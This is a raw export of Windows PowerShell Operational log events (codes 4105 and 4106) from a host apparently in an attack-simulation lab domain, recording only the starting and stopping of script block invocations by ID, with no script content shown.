SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036506
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036505
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036502
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036500
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036499
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036486
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036485
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036480
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036479
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036477
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036476
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036475
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036474
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036471
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036470
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036469
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036468
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036467
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036466
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036465
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036464
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
